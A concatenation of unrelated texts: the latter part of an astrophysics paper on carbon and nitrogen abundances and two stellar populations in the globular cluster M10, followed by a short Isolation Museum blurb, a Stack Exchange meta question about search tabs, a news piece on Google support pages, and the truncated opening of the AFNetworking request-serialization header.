$\\delta$CN, the GMM fit to the \\[N/Fe\\] distribution yielded two gaussians with equal standard deviations of 0.2 dex, and a separation of roughly 0.7 dex between their median values. ", "These fits are shown in Figure \\[gmm\\].", "\n\nThe similarity in the range in N abundances in both the CN-normal and CN-enhanced populations indicates that the larger spread in $\\delta$CN for the CN-enhanced population is caused by an observational effect of the CN bands rather than an underlying extreme population. ", "@gir [@uves] also find that M10 lacks an extreme population in the Na-O anti-correlation. ", "Figure \\[gmm\\] suggests that only using CN band strengths to describe characteristics of underlying populations may lead to inferences about the nature of those populations that are not substantiated by elemental abundances.", "\n\nWe find that 75 out of 124 or 60% of RGB stars in our sample are CN-enhanced based on having a positive $\\delta$CN measurement; this agrees with the percentage of second generation stars found based on their Na abundance using the @gir [@uves] sample. ", "However, we note that when dividing the stars into bright and faint magnitude bins separated at $M_v = 1$ the result changes slightly. ", "Only 42 out of 80 or 52% bright RGB stars are CN-enhanced, and 33 out of 44 or 75% of faint stars are CN-enhanced. ", "Our classification of the fainter stars is much less secure, however, and the percentage of CN-enhanced stars may be more accurately reflected in the brighter sample.", "\n\n### AGB Stars {#AGB}\n\nRecent studies have raised the question of whether there is a lack of CN-enhanced stars on the AGB in GCs relative to the percentage of enhanced stars found on the RGB and MS. ", "@campbell2012 observed a lack of CN-enhanced stars on the AGB of NGC 6752 based on $\\delta$CN index measurements, which agreed with what had been determined by @norris decades prior. ", "Follow up work by @campbell2013 found that the cluster had no AGB stars enhanced in Na abundance compared to the Na distribution of the RGB in NGC 6752, and therefore concluded that the second generation of stars in NGC 6752 had failed to evolve to the AGB from the RGB. ", "A similar study conducted by @maclean2016 found an absence of second generation stars on the AGB for the GC M4 using the Na-O anti-correlation.", "\n\nIn contrast to this work, later studies found a Na-enhanced, second generation of stars along the AGB in other clusters such as 47 Tuc, M13, M5, M3, M2, M4, and NGC 6397 [@johnson; @garcia; @lardo; @maclean2018]. ", "@lapenna conducted new observations of AGB stars in NGC 6752 and found there to be two populations in C-N and Na-O that were not found by @campbell2013 using just the Na distribution. ", "They suggested that the work done by @campbell2013 had a systematic offset in their \\[Na/Fe\\] abundances that caused all stars to fall below their threshold set for enhancement. ", "@lapenna also emphasized that just looking at one abundance distribution can lead to false conclusions about the presence or lack of multiple populations in any sample of stars. ", "Other recent work has proposed that the presence of a second generation of stars on the AGB is dependent on the metallicity and age of the cluster, and finds the presence of a second generation on the AGB to vary from cluster to cluster [@wang2016; @wang2017].", "\n\nFrom the left panel of Figure \\[bands\\], it is clear that most AGB stars in our sample have normal CN band strengths with only 2 of the 13 ($\\sim$15 percent) belonging to the CN-enhanced group. ", "These numbers suggest there is a lack of second generation stars along the AGB as compared to the percentage of stars found to be CN-enhanced in the RGB sample ($\\sim$60 percent). ", "However, the CN band is dependent on both the C and N abundance, and the right panel of Figure \\[bands\\] also shows that the AGB stars have weak CH band strengths (heavily dependent on C abundance) based on their magnitude. ", "In fact, many of those that appear to be N-normal based on their CN band strength are actually N-enhanced based on their \\[N/Fe\\]. ", "This effect can be seen in Figure \\[nfevscfe\\] where many AGB stars with high \\[N/Fe\\] also have low $\\delta$CN values.", "\n\nWhen separating populations by N abundance, we find that 8 out of 13 AGB stars are N-enhanced, matching the percentage seen in the RGB. ", "This serves as another reminder that while the CN band strength is useful for separating stars into multiple populations, many effects can change the CN band strength such as surface temperature, pressure, and C abundance. ", "These other factors need to be considered fully before using CN as a way to determine the population of a star. ", "The fundamental basis for identifying multiple populations rests on the abundances of the stars, which is why using the N abundances to determine populations is more accurate. ", "We also note that our classification of RGB stars based on CN band strength rather than N abundance is still secure due to the tight correlation between $\\delta$CN and \\[N/Fe\\] shown in Figure \\[gmm\\].", "\n\nSpatial Distribution of Multiple Populations\n--------------------------------------------\n\nOur large sample size and broad field coverage from 0.06 half-light radii out to $\\sim$6 half-light radii (with a majority of stars within $\\sim$4 half-light radii) allows us to study the spatial distributions of the two populations we have identified in this cluster. ", "All formation models [see e.g., @dercole2008; @decressin2007a; @decressin2007b; @bekki2010] agree that second generation stars should form more centrally concentrated than first generation stars. ", "Subsequent dynamical evolution will gradually erase these initial differences in the spatial distribution [see e.g., @vesperini2013] eventually leading to the complete spatial mixing of the two populations. ", "Depending on the cluster’s evolutionary phase some memory of the initial spatial distribution of the two populations might be preserved and indeed in several clusters [see e.g., @bellini2009; @lardo2011; @hbtemp; @m13ona; @milone2012; @cordero2014; @simioni2016] second generation stars have been found to be more centrally concentrated than first generation stars.", "\n\n@vesperini2013 have found that in order to reach complete spatial mixing a cluster must be in its advanced evolutionary stage and have lost at least 60-70 % of its initial mass due to the effects of two-body relaxation [see also @miholics2015]. ", "An indication that M10 might indeed have undergone a significant mass loss due to two-body relaxation and is dynamically old comes from the study of the cluster’s stellar mass function and large degree of mass segregation [@beccari2010; @webb2017]. ", "These dynamical indicators suggest that the two populations should have completely mixed and are consistent with our findings reported in Figure \\[radial\\]. ", "This figure shows the radial profile of the ratio of second generation stars to the total number of stars. ", "Irrespective of whether the identification of second generation is based on our determination of CN or the Na abundance from @gir [@uves] we find no evidence of a significant radial gradient confirming the expectation that M10 is a dynamically evolved cluster in which the two populations have reached complete spatial mixing [see also @dalessandro2014; @nardiello2015; @cordero2015 for other examples of mixed clusters].", "\n\nComparison to Other Methods of Identifying Multiple Populations\n---------------------------------------------------------------\n\n### Comparison with Na-O Anti-Correlation\n\nIn addition to the C-N anti-correlation, the Na-O anti-correlation has been often used in the literature to identify multiple populations in GCs [see e.g., @gir; @uves; @gratton and references therein]. ", "@smith2013 and @smith2015a [@smith2015b] have compared the classification of multiple populations based on Na and O abundances with that based on N abundance and tested whether N-enhanced stars do indeed coincide with those characterized by O depletion and Na enhancement. ", "Their analysis showed that in the three clusters they studied (47 Tuc, M71, and M5) stars classified as second generation by an Na overabundance and an O depletion are also characterized by a CN enhancement. ", "They find that while the correlation holds true overall, one star in M5 and a few stars in 47 Tuc appear to be CN-enhanced, but do not have the Na enhancement to place them in the second generation based on their Na abundance. ", "Similar evidence of this effect has also been observed in M53 by @bobergm53.", "\n\nWe studied the same relation between CN band strength and Na abundance to see if these stars that have depleted Na but enhanced CN are seen in M10. ", "The top left plot of Figure \\[nafe\\] shows the \\[Na/Fe\\] measured by @gir [@uves] for stars in our sample vs. $\\delta$CN. ", "Also shown is the line that @gir [@uves] use to separate the Na-enhanced and normal populations in M10, which is defined as 4 standard deviations above the minimum Na abundance observed in the cluster. ", "There is a general correlation of $\\delta$CN strength with \\[Na/Fe\\] as expected if both methods are identifying the same populations (i.e., CN-enhanced are Na-enhanced and vice versa). ", "Similarly, the top right plot of Figure \\[nafe\\] shows the $\\delta$CN measurements also anti-correlate with \\[O/Fe\\] as expected. ", "There is also a noticeable clear separation between the $\\delta$CN values of the two populations while the Na abundance shows a more continuous distribution. ", "While we find one star to be slightly under abundant in Na compared to its $\\delta$CN value, uncertainties in the \\[Na/Fe\\] measurements of $\\sim$0.1 dex [@gir; @uves] could easily place it in the Na-enhanced group. ", "We do not see any stars with the under-abundance in Na seen in 47 Tuc, which is 0.2-0.4 dex below the average Na for a CN-enhanced star.", "\n\nWe also find a group of stars that are slightly enhanced in Na even though they are considered CN-normal, which was also observed in 47 Tuc, M71, and M5 by @smith2013 and @smith2015a [@smith2015b]. ", "We note, however, that the two of these stars that are most enhanced in Na compared to other CN-normal stars are AGB stars, which reflect the phenomenon discussed in Section \\[AGB\\]. ", "In the lower left panel of Figure \\[nafe\\], we plot the \\[Na/Fe\\] vs \\[N/Fe\\] where we see that these AGB stars are in fact N-enhanced, and \\[N/Fe\\] correlates very well with \\[Na/Fe\\]. ", "The bottom right panel of Figure \\[nafe\\] also shows that \\[O/Fe\\] anti-correlates with \\[N/Fe\\] as expected with no evidence of the anomalous stars found in the clusters studied by @smith2013, @smith2015a [@smith2015b], and @bobergm53.", "\n\n### Comparison with HST UV Legacy Archive Photometry\n\nRecent work uses HST UV photometry to find populations using a pseudocolor that is dependent on the C, N, and O abundances of a star [see @piotto; @miloneatlas]. ", "The pseudo-color enhances the separation between the RGBs of the populations in the cluster. ", "Stars in different populations with different light element abundances such as C, N, and O, alter the OH, NH, CN, and CH bands that appear in the regions of the HST filters used. ", "As expected, stars rich in N appear on the “bluer\" branch and stars depleted in N appear on the “redder\" branch.", "\n\nMost notably, this technique has been used to identify up to five different populations in the GC NGC 2808 [@milone5pop]. ", "M10 was included in the HST UV Legacy Survey [@miloneatlas] which showed the RGB of M10 split into two sequences, consistent with two populations in the cluster. ", "@miloneatlas also determined that M10 was roughly 64 percent second generation. ", "These findings match the results we find from our CN band study as well as the results from the Na-O study by @gir [@uves].", "\n\nWe make a direct comparison between our CN method of identifying multiple populations with the pseudocolor method described above. ", "While our data cover a much wider field than the HST photometry, our sample includes 35 stars observed by HST and are shown in Figure \\[hst\\], the pseudo-color magnitude diagram for M10. ", "From the figure, we see that all stars identified as second generation by being N-enhanced also fall along the bluer RGB sequence in the pseudoCMD for M10. ", "We also find that almost all N-normal stars fall along the correct redder RGB sequence for the first generation. ", "There are two very “blue\" stars in Figure \\[hst\\] that do not fall along either RGB sequence. ", "These stars are actually the two reddest stars in our sample based on B-V color, and therefore have very low UV flux, which causes their “blue\" position in the pseudocolor magnitude diagram. ", "Based on these results, we find that the two methods of identification are consistent and classify stars into the same populations.", "\n\nEffect of Evolution on C and N Abundances {#evolution}\n-----------------------------------------\n\nC and N abundances change in the evolved stars of GCs as they ascend the RGB. ", "Specifically, low mass stars go through a second period of deep mixing after the first dredge up that decreases the C abundance while simultaneously increasing the N abundance. ", "This deep mixing refers to a non-canonical evolutionary event in low mass stars that occurs on the red giant branch just after the star has gone past the LF bump. ", "In these stars, CN(O)-cycle material is dredged up to the surface of the star from the hydrogen burning envelope, which causes changes in surface abundance. ", "The two leading theories to explain this mixing are a thermohaline process where the chemical weight becomes inverted due to the final step in the pp chain that converts two $^3$He atoms to a $^4$He and two protons [@eggleton2006; @eggleton2008; @charbonnel], and an effect due to stellar rotation [@sweigart; @chaname; @palacios]. ", "Either way, a non-canonical mechanism needs to be put into place to explain how material is able to cross over the radiative zone from the hydrogen burning envelope into the convective zone of the star.", "\n\nWhile some efforts have been made to constrain the rate of this mixing observationally (e.g., @martellmixing), unknown parameters such as the initial carbon abundance of the stars have prevented these methods from determining the mixing rate in clusters with high precision. ", "However, our large sample size allows us to determine mixing rates through direct fits to the C abundance as a function of magnitude from a homogenous sample rather than the heterogeneous samples of @m3cfe. ", "In fact, there are enough stars in the sample that the two populations can be fit independently without having to make assumptions about the initial C abundance. ", "We use a simple linear-least squares regression that begins at the LF bump measured to be M$_{bump}$ $\\sim$ 0.7 by @lfb. ", "Fits were made to both \\[C/Fe\\] and \\[N/Fe\\] as a function of magnitude as both N and C will be affected by the deep mixing that brings CN(O)-cycle material to the surface of the star. ", "We show these fits (discussed below in more detail) in Figure \\[xfevsm\\].", "\n\nIn Section \\[candn\\], we discussed the magnitude dependence on C and N that is present in the C-N anti-correlation shown in Figure \\[nfevscfe\\]. ", "The deep mixing phenomenon that depletes C while enhancing N as stars evolve up the giant branch alters the initial abundances of the respective populations in the cluster. ", "We can use the linear fits to \\[C/Fe\\] and \\[N/Fe\\] versus magnitude to correct for these evolutionary effects and create normalized $\\delta$\\[C/Fe\\] and $\\delta$\\[N/Fe\\] measures for each star. ", "These are shown in Figure \\[deltanfevsdeltacfe\\]. ", "Comparing Figures \\[nfevscfe\\] and \\[deltanfevsdeltacfe\\] shows that the anti-correlation has become even clearer, and the two populations separate quite cleanly in the C-N plane. ", "The fainter stars in the sample show a slightly more scattered distribution, consistent with their larger uncertainties.", "\n\nIn Figure \\[xfevsm\\], we show the \\[C/Fe\\] and \\[N/Fe\\] vs magnitude for all of the members we measured in M10; CN-normal stars are shown as open points and CN-enhanced stars as filled. ", "The LFB for the cluster is shown as a black dashed line. ", "The resulting fits for C and N are presented as a red solid line for all RGB stars, a dotted-dashed line for the CN-normal population, and a dashed line for the CN-enhanced population. ", "While the fainter stars show a larger spread due to their uncertainties, the overall abundance stays constant fainter than the LFB; we find no evidence of pre-RGB bump mixing as reported by @angelou2012. ", "For magnitudes brighter than the LFB, the carbon abundance begins to decrease in both populations, while the nitrogen abundance begins to increase.", "\n\nFor \\[C/Fe\\], we find a slope of 0.21 $\\pm$ 0.02 dex mag$^{-1}$ for the CN-enhanced population, and a slope of 0.15 $\\pm$ 0.03 dex mag$^{-1}$ for the CN-normal. ", "For \\[N/Fe\\], we find slopes of -0.06 $\\pm$ 0.06 dex mag$^{-1}$ and -0.12 $\\pm$ 0.06 for the CN-enhanced and normal populations, respectively. ", "These slopes are listed in Table \\[tab:rates\\]. ", "We also find that the initial values for \\[C/Fe\\] and \\[N/Fe\\] predicted by these fits match well within uncertainties with the measurements for the fainter stars in our sample. ", "While there are no other C or N measurements of stars this faint for M10 in the literature, our \\[C/Fe\\] values do agree with stars in a similar magnitude range in M13, a cluster of similar metallicity [@briley2002].", "\n\nWe note that the slopes for the change in \\[C/Fe\\] and the change in \\[N/Fe\\] for each of the two populations are consistent within the uncertainties. ", "The change in \\[C/Fe\\] as a function of magnitude matches the inverse change of \\[N/Fe\\] for the CN-normal stars, which is expected since the CN(O)-cycle is the cause of the changes in abundance. ", "While the change in \\[N/Fe\\] does not match the change in \\[C/Fe\\] for the CN-enhanced population, this difference is also expected. ", "As explained in @angelou2012, the change in the overall N abundance is continuous, but the rise in the measured \\[N/Fe\\] value is slow when the value of \\[N/Fe\\] is already high due to it being a logarithmic ratio. ", "However, the difference (while small) in slopes of \\[C/Fe\\] between the two populations could indicate that stars in the second generation are mixing at a somewhat increased rate compared to the first generation. ", "We discuss possible reasons for this in the section below.", "\n\n[ccc]{} **M10** & &\\\nAll & 0.18 $\\pm$ 0.03 & -0.06 $\\pm$ 0.06\\\nCN-enhanced & 0.21 $\\pm$ 0.02 & -0.06 $\\pm$ 0.06\\\nCN-normal & 0.15 $\\pm$ 0.03 & -0.12 $\\pm$ 0.06\\\n**M13$^{1}$** & &\\\nAll & 0.43 $\\pm$ 0.05 &\\\nCN-enhanced & 0.40 $\\pm$ 0.05 &\\\n**M3$^{2}$** & &\\\nAll & 0.22 $\\pm$ 0.03 &\\\n\n### Comparison to Other Clusters\n\nTo further understand the evolutionary effects on the C and N abundances in M10, we compare our data to similar data sets for M3 measured by @m3cfe and for M13 as compiled by @m13cfe from various literature sources. ", "These clusters were chosen because they are relatively well studied, which gives comparably sized data sets, and because of their similar age and metallicity to M10. ", "M3 and M13 have often been compared to one another as they embody the classic second parameter problem in GCs [e.g., @caloi].", "\n\nM3 is found to have a very similar carbon depletion rate to M10 with @m3cfe finding a value of 0.22 $\\pm$ 0.03 dex mag$^{-1}$ overall, while we find a value of 0.18 $\\pm$ 0.03 dex mag$^{-1}$ for M10. ", "However, M13 is found to have a greater depletion rate of roughly double that of M10. ", "Figure \\[cfecompare\\] shows the data for M13 from @m13cfe plotted over our data for M10 for comparison. ", "The LFB for each cluster is shown as a dot dashed line [@lfb].", "\n\nWe evaluated linear fits to \\[C/Fe\\] as a function of absolute magnitude for the M13 data as we did for M10. ", "These fits are shown in Figure \\[cfecompare\\] as a red line for M13 and a black line for M10. ", "Solid lines indicate a fit to the entire sample of stars for a cluster, while dashed lines indicate fits to the CN-enhanced sub-sample. ", "A fit was not made to the CN-normal population of M13 because only 3 stars were available from the @m13cfe sample. ", "While our expectation was for the mixing rate to be similar for M13 as that of M3 and M10 due to their similar metallicities, it appears from our fits that M13 reduces its carbon much faster than M10; the total M13 sample has a slope of 0.43 $\\pm$ 0.05 dex mag$^{-1}$, while the M10 sample has a slope less than half of that at 0.18 $\\pm$ 0.03 dex mag$^{-1}$. This difference suggests that the astrophysical process behind the mixing is dependent on a factor/s other than metallicity that may be different between the two clusters. ", "One of the possibilities for this factor is a higher He abundance in M13 than M10.", "\n\nOne piece of evidence for a higher He abundance in M13 is the difference in the Na-O anti-correlation based on data from @gir [@uves], @m13ona, and @m13cfe. ", "While both M10 and M13 show an anti-correlation in Na-O as expected, the anti-correlation is more extended in M13 than in M10. ", "@hbtemp quantify the extension of the Na-O anti-correlation by looking at the interquartile range (IQR) of the \\[O/Na\\] values for each cluster; more extended anti-correlations have a higher IQR(\\[O/Na\\]). ", "Based on Na and O measurements compiled from various sources by @m13cfe and measured by @m13ona for M13, and @gir [@uves] for M10, we find that M13 has an IQR(\\[O/Na\\]) of 0.70 compared to 0.56 for M10. ", "@hbtemp also find that the IQR(\\[O/Na\\]) correlates with the maximum temperature reached on the horizontal branch. ", "This correlation combined with the higher IQR(\\[O/Na\\]) for M13 indicates that stars reach higher surface temperatures on the horizontal branch of M13 than the same stars in M10. ", "Because stars with higher surface temperatures on the horizontal branch tend to have higher helium abundances, stars in M13 likely have a higher helium abundance.", "\n\nOther indications that M13 may have a higher He abundance than other clusters of similar metallicity come from photometric studies. ", "M13 has a slightly bluer horizontal branch than M3 [@caloi; @denissenkov2017], consistent with higher temperatures and higher He abundance. ", "A recent study of the RGB bumps of multiple populations also suggests a larger He spread in M13 than M3 [@lagioia2018]. ", "@lfb have shown that the LFB of M13 is slightly brighter than that of M10; the LFB has been shown in studies such as @milone5pop to correlate with He abundance.", "\n\nWhile other factors such as the C+N+O abundance affect these photometric indicators and may complicate cluster comparisons, the majority of evidence is consistent with M13 having a higher He abundance than M10. ", "If so, then the enhanced mixing rate seen in M13 may be influenced by its higher He abundance as this would be one of the few differences between the two clusters.", "\n\nConclusions {#Conclusions}\n===========\n\nWe have measured CN and CH band strengths for over 124 RGB stars and 13 AGB stars in the GC M10 using low-resolution spectroscopy. ", "We used these measurements to identify CN-enhanced and CN-normal populations. ", "C and N abundances were then calculated for all stars in the sample. ", "Below is a list of our conclusions based on this analysis:\n\n1. ", " M10 clearly shows two populations in both the CN band and \\[N/Fe\\] distributions for stars from the tip to the base of the red giant branch. ", "Gaussian mixture modeling shows that while the CN-enhanced population has a larger range in $\\delta$CN compared to the CN-normal, the two populations have similar dispersions in \\[N/Fe\\] comparable to observational errors. ", "These two populations are centered at \\[N/Fe\\]=0.70 and 1.4 dex with standard deviations of roughly 0.2 dex.", "\n\n2. ", " When compared to other methods of identifying multiple populations such as the Na-O anti-correlation [@gir; @uves] and HST UV photometry [@miloneatlas], we find that the CN band analysis classifies stars in common to these samples into the same populations. ", "We do not find any of the outlying stars with enhanced CN and normal Na that have been discovered in M71, 47 Tuc, and M53 by @smith2015a, @smith2015b, and @bobergm53, respectively.", "\n\n3. ", " Our study of the spatial distributions of the two populations identified in M10 does not reveal any dependence of the fraction of CN-enhanced stars on the distance of the cluster center. ", "A similar conclusion is reached if second generation stars are identified by using the Na-O data from @gir [@uves]. ", "The mixing of the two populations is consistent with the expectations based on this cluster’s dynamical evolution.", "\n\n4. ", " The RGB stars in M10 clearly show an anti-correlation between \\[C/Fe\\] and \\[N/Fe\\] as seen in other GCs and expected for the cluster. ", "The distribution in the C-N plane is continuous, not clearly identifying each population. ", "However, by accounting for the evolutionary changes to C and N as the stars ascend the RGB, the two populations separate clearly.", "\n\n5. ", " While there appear to be fewer AGB stars that are CN-enhanced than expected based on the percentage seen in the RGB sample, we find that this is a consequence of the low C abundance of these stars. ", "Since these stars have already been through deep mixing, they have lower C abundances (and therefore, lower CH and CN band values) on average than RGB stars. ", "When classifying the AGB stars by their \\[N/Fe\\] values, however, the N-enhanced stars make up 60%, consistent with the RGB ratio.", "\n\n6. ", " The evolution of \\[C/Fe\\] and \\[N/Fe\\] as a function of M$_v$ has been studied for each population to determine a rate of change above the LF bump. ", "We find that in M10 the carbon depletion rates between the second and first populations agree within uncertainties. ", "While M3 has a similar rate of depletion, we find that M13 depletes carbon much faster than M10. ", "Because these clusters are all of similar metallicity, the differing depletion rates are likely caused by another factor, which may be the He abundance.", "\n\nAcknowledgements\n================\n\nWe would like to thank Roger A. Bell for making the SSG program available to us. ", "We would also like to thank Zachary Maas for his help in obtaining the stellar spectra during our 2016 run at WIYN. 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, 471, 3845 Yi, S., Demarque, P., Kim, Y.-C., et al.", " 2001, , 136, 417\n\n[^1]: The WIYN Observatory is a joint facility of the University of Wisconsin-Madison, Indiana University, the National Optical Astronomy Observatory and the University of Missouri\n\n[^2]: IRAF is distributed by the National Optical Astronomy Observatories, which are operated by the Association of Universities for Research in Astronomy, Inc., under cooperative agreement with the National Science Foundation.", "\n\n[^3]: We note that the final abundances determined do not depend heavily on the microturbulence or $C^{12}/C^{13}$ with adjustments to both values giving changes on the order of hundredths of a dex.", "\n" ]

{ "pile_set_name": "ArXiv" }

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[ "On March 11, 2020, the World Health Organization (WHO) declared COVID-19 a pandemic. ", "This has led many countries to encourage their citizens to stay at home, isolate, or go into quarantine to prevent widespread community transmission.", "\n\nBeing forced to stay home not only changes our relationship to each other, but also changes our relationships to our spaces. ", "The Isolation Museum attempts to capture these changes by encouraging people to reflect on their spaces and to share their stories with each other.", "\n\nSharing these stories transforms our isolation into a source of contact and connection with one another." ]

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[ "Q:\n\nShould there be a featured tab in search results?", "\n\nI asked this question a while ago, and since it didn't get much attention I added a bounty. ", " However, when I search by the r tag, there is no featured header, as can be found on stack overflow site when searching a tag:\n\nVs:\n\nIs this intentional? ", " I can't imagine that many people search bounties across all questions, more they will search a tag, then notice that there are open bounties, and give those questions additional attention.", "\nIn the current state the benefit of offering a bounty would seem to be reduced, is there a reason for this?", "\nIt seems that the tag 'r' was not recognised as a tag, as when I type [r] I get the featured column. ", "Should the search bar recognise r immediately as a tag?", "\n\nA:\n\nSearching 'r', searches for just the letter r. If you want the tag you have to surround it in [], and so r would be [r]. ", "Searching for this does come up with a featured tab, which contains your question.", "\nEven without this feature, featured is still good, as there's a list of all featured questions. ", "With this feature it gets better as you can also filter by multiple tags, such as [c] [performance], which comes up with a question with a bounty, where [c] [beginner] doesn't. ", "Where a C person might follow both C and C++, and search [c] or [c++].", "\nIt does however seem like you cannot access the featured tab if you search by text. ", "For example searching \"Reduce a number range to the shortest possible root\" doesn't come up with a featured tab. ", "Neither does \"[r] Reduce a number range to the shortest possible root\".", "\nI don't know if this is intended, however I can't see a great benefit to wanting to search via text for featured questions, as it's likely that the question will be tagged with something you're interested in.", "\n\n" ]

{ "pile_set_name": "StackExchange" }

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[ "All of the writers and editors at Android Police are huge fans of Android and Google; it's more or less a requirement for the job. ", "But we're also keenly aware of the things that Google does poorly, and duty-bound to point them out in the hope that they will improve. ", "One of the more obvious areas where Google doesn't excel is customer support, but one of the latest changes to the Support.Google.com site seems like a nice step forward.", "\n\nPages specifically related to the Play Store now include a user-facing profile of the technical writer who created them. ", "This isn't an author profile like you'll see on a journalistic website: it's anonymized with first names only and an avatar made in the style of Androidify. ", "But it should allow readers to more easily identify pages that are written with competence and thoroughness... or not. ", "Oddly, the author profiles do not appear on non-Play Store pages in the other hubs of the larger Google support site.", "\n\nTo leave feedback for the author, click the \"helpful\" slider on the bottom of the page. ", "If you click \"not at all helpful,\" \"not very helpful,\" or \"\"somewhat helpful,\" you'll see an expanded page to give further feedback with a few checkmark questions and (if you're feeling particularly un-helped) an area for text responses. ", "While leaving feedback on an incorrect or uninformative article won't make it any better (at least not right away), it should help Google improve it in the future and enhance the output of its support writing staff." ]

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[ "// AFSerialization.h\n//\n// Copyright (c) 2013-2014 AFNetworking (http://afnetworking.com)\n//\n// Permission is hereby granted, free of charge, to any person obtaining a copy\n// of this software and associated documentation files (the \"Software\"), to deal\n// in the Software without restriction, including without limitation the rights\n// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n// copies of the Software, and to permit persons to whom the Software is\n// furnished to do so, subject to the following conditions:\n// \n// The above copyright notice and this permission notice shall be included in\n// all copies or substantial portions of the Software.", "\n// \n// THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. ", "IN NO EVENT SHALL THE\n// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n// THE SOFTWARE.", "\n\n#import <Foundation/Foundation.h>\n#if defined(__IPHONE_OS_VERSION_MIN_REQUIRED)\n#import <UIKit/UIKit.h>\n#endif\n\n/**\n The `AFURLRequestSerialization` protocol is adopted by an object that encodes parameters for a specified HTTP requests. ", "Request serializers may encode parameters as query strings, HTTP bodies, setting the appropriate HTTP header fields as necessary.", "\n\n For example, a JSON request serializer may set the HTTP body of the request to a JSON representation, and set the `Content-Type` HTTP header field value to `application/json`.", "\n */\n@protocol AFURLRequestSerialization <NSObject, NSSecureCoding, NSCopying>\n\n/**\n Returns a request with the specified parameters encoded into a copy of the original request.", "\n\n @param request The original request.", "\n @param parameters The parameters to be encoded.", "\n @param error The error that occurred while attempting to encode the request parameters.", "\n\n @return A serialized request.", "\n */\n- (NSURLRequest *)requestBySerializingRequest:(NSURLRequest *)request\n withParameters:(id)parameters\n error:(NSError * __autoreleasing *)error;\n\n@end\n\n#pragma mark -\n\n/**\n\n */\ntypedef NS_ENUM(NSUInteger, AFHTTPRequestQueryStringSerializationStyle) {\n AFHTTPRequestQueryStringDefaultStyle = 0,\n};\n\n@protocol AFMultipartFormData;\n\n/**\n `AFHTTPRequestSerializer` conforms to the `AFURLRequestSerialization` & `AFURLResponseSerialization` protocols, offering a concrete base implementation of query string / URL form-encoded parameter serialization and default request headers, as well as response status code and content type validation.", "\n\n Any request or response serializer dealing with HTTP is encouraged to subclass `AFHTTPRequestSerializer` in order to ensure consistent default behavior.", "\n */\n@interface AFHTTPRequestSerializer : NSObject <AFURLRequestSerialization>\n\n/**\n The string encoding used to serialize parameters. ", "`NSUTF8StringEncoding` by default.", "\n */\n@property (nonatomic, assign) NSStringEncoding stringEncoding;\n\n/**\n Whether created requests can use the device’s cellular radio (if present). ", "`YES` by default.", "\n \n @see NSMutableURLRequest -setAllowsCellularAccess:\n */\n@property (nonatomic, assign) BOOL allowsCellularAccess;\n\n/**\n The cache policy of created requests. ", "`NSURLRequestUseProtocolCachePolicy` by default.", "\n \n @see NSMutableURLRequest -setCachePolicy:\n */\n@property (nonatomic, assign) NSURLRequestCachePolicy cachePolicy;\n\n/**\n Whether created requests should use the default cookie handling. ", "`YES` by default.", "\n \n @see NSMutableURLRequest -setHTTPShouldHandleCookies:\n */\n@property (nonatomic, assign) BOOL HTTPShouldHandleCookies;\n\n/**\n Whether created requests can continue transmitting data before receiving a response from an earlier transmission. ", "`NO` by default\n \n @see NSMutableURLRequest -setHTTPShouldUsePipelining:\n */\n@property (nonatomic, assign) BOOL HTTPShouldUsePipelining;\n\n/**\n The network service type for created requests. ", "`NSURLNetworkServiceTypeDefault` by default.", "\n \n @see NSMutableURLRequest -setNetworkServiceType:\n */\n@property (nonatomic, assign) NSURLRequestNetworkServiceType networkServiceType;\n\n/**\n The timeout interval, in seconds, for created requests. ", "The default timeout interval is 60 seconds.", "\n \n @see NSMutableURLRequest -setTimeoutInterval:\n */\n@property (nonatomic, assign) NSTimeInterval timeoutInterval;\n\n///---------------------------------------\n/// @name Configuring HTTP Request Headers\n///---------------------------------------\n\n/**\n Default HTTP header field values to be applied to serialized requests.", "\n */\n@property (readonly, nonatomic, strong) NSDictionary *HTTPRequestHeaders;\n\n/**\n Creates and returns a serializer with default configuration.", "\n */\n+ (instancetype)serializer;\n\n/**\n Sets the value for the HTTP headers set in request objects made by the HTTP client. ", "If `nil`, removes the existing value for that header.", "\n\n @param field The HTTP header to set a default value for\n @param value The value set as default for the specified header, or `nil`\n */\n- (void)setValue:(NSString *)value\nforHTTPHeaderField:(NSString *)field;\n\n/**\n Returns the value for the HTTP headers set in the request serializer.", "\n\n @param field The HTTP header to retrieve the default value for\n \n @return The value set as default for the specified header, or `nil`\n */\n- (NSString *)valueForHTTPHeaderField:(NSString *)field;\n\n/**\n Sets the \"Authorization\" HTTP header set in request objects made by the HTTP client to a basic authentication value with Base64-encoded username and password. ", "This overwrites any existing value for this header.", "\n\n @param username The HTTP basic auth username\n @param password The HTTP basic auth password\n */\n- (void)setAuthorizationHeaderFieldWithUsername:(NSString *)username\n password:(NSString *)password;\n\n/**\n @deprecated This method has been deprecated. ", "Use -setValue:forHTTPHeaderField: instead.", "\n */\n- (void)setAuthorizationHeaderFieldWithToken:(NSString *)token DEPRECATED_ATTRIBUTE;\n\n\n/**\n Clears any existing value for the \"Authorization\" HTTP header.", "\n */\n- (void)clearAuthorizationHeader;\n\n///-------------------------------------------------------\n/// @name Configuring Query String Parameter Serialization\n///-------------------------------------------------------\n\n/**\n HTTP methods for which serialized requests will encode parameters as a query string. ", "`GET`, `HEAD`, and `DELETE` by default.", "\n */\n@property (nonatomic, strong) NSSet *HTTPMethodsEncodingParametersInURI;\n\n/**\n Set the method of query string serialization according to one of the pre-defined styles.", "\n\n @param style The serialization style.", "\n\n @see AFHTTPRequestQueryStringSerializationStyle\n */\n- (void)setQueryStringSerializationWithStyle:(AFHTTPRequestQueryStringSerializationStyle)style;\n\n/**\n Set the a custom method of query string serialization according to the specified block.", "\n\n @param block A block that defines a process of encoding parameters into a query string. ", "This block returns the query string and takes three arguments: the request, the parameters to encode, and the error that occurred when attempting to encode parameters for the given request.", "\n */\n- (void)setQueryStringSerializationWithBlock:(NSString * (^)(NSURLRequest *request, NSDictionary *parameters, NSError * __autoreleasing *error))block;\n\n///-------------------------------\n/// @name Creating Request Objects\n///-------------------------------\n\n/**\n @deprecated This method has been deprecated. ", "Use 